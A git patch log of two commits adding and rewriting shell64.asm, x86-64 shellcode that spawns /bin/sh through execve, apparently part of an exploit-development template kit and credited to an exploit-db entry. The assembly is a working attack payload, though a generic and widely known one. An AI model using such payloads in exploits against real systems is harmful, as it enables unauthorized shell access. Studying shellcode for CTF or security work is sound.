From c41649b5077eb3e0d66043658df8bccbdfef0f1a Mon Sep 17 00:00:00 2001 From: Malfurious Date: Sat, 24 Dec 2022 07:50:44 -0500 Subject: shellcode: Move example code to a new directory This is mainly done to keep the top working directory (where the Makefile lives) cleaner. Signed-off-by: Malfurious --- templates/shellcode/examples/shell64.asm | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 templates/shellcode/examples/shell64.asm (limited to 'templates/shellcode/examples/shell64.asm') diff --git a/templates/shellcode/examples/shell64.asm b/templates/shellcode/examples/shell64.asm new file mode 100644 index 0000000..2353b6f --- /dev/null +++ b/templates/shellcode/examples/shell64.asm @@ -0,0 +1,16 @@ +[SECTION .text] +global _start + +; https://www.exploit-db.com/shellcodes/47008 + +_start: + xor rsi, rsi + xor rdx, rdx + push rsi + mov rdi, 0x68732f2f6e69622f + push rdi + push rsp + pop rdi + mov al, 0x3b + cdq + syscall -- cgit v1.2.3 From f21e743212f02dbfb560fa74d983a7e156722d11 Mon Sep 17 00:00:00 2001 From: Malfurious Date: Sun, 15 Jan 2023 08:06:42 -0500 Subject: shellcode: Update /bin/sh shellcodes The shell-spawning shellcodes are rewritten to address the following concerns: - The array parameters to execve are now set properly, to valid arrays on the stack, instead of NULL pointers. - The cdq instruction is no longer used to sign-extend the rax register, since it has not been producing the expected results in gdb. - Labels, sections, and other file metadata are removed in order to support concatenation of shellcode samples to make more complex code. Signed-off-by: Malfurious --- templates/shellcode/examples/shell64.asm | 36 +++++++++++++++++++------------- 1 file changed, 22 insertions(+), 14 deletions(-) (limited to 'templates/shellcode/examples/shell64.asm') diff --git a/templates/shellcode/examples/shell64.asm b/templates/shellcode/examples/shell64.asm index 2353b6f..3812c33 100644 --- a/templates/shellcode/examples/shell64.asm +++ b/templates/shellcode/examples/shell64.asm @@ -1,16 +1,24 @@ -[SECTION .text] -global _start +; Originally based on https://www.exploit-db.com/shellcodes/47008 -; https://www.exploit-db.com/shellcodes/47008 +; stack layout +; +; ┏━━━━━━━━━━━━━━┓ +; ┃ v +; [ argv0, NULL ] "/bin//sh" NULL +; ^ ^ ^ +; ┃ ┃ ┃ +; argv envp filename -_start: - xor rsi, rsi - xor rdx, rdx - push rsi - mov rdi, 0x68732f2f6e69622f - push rdi - push rsp - pop rdi - mov al, 0x3b - cdq - syscall +; execve("/bin/sh", ["/bin/sh"], []) +xor rax, rax +xor rsi, rsi +mov rdi, 0x68732f2f6e69622f +push rsi +push rdi +mov rdi, rsp +push rsi +mov rdx, rsp +push rdi +mov rsi, rsp +mov al, 59 +syscall -- cgit v1.2.3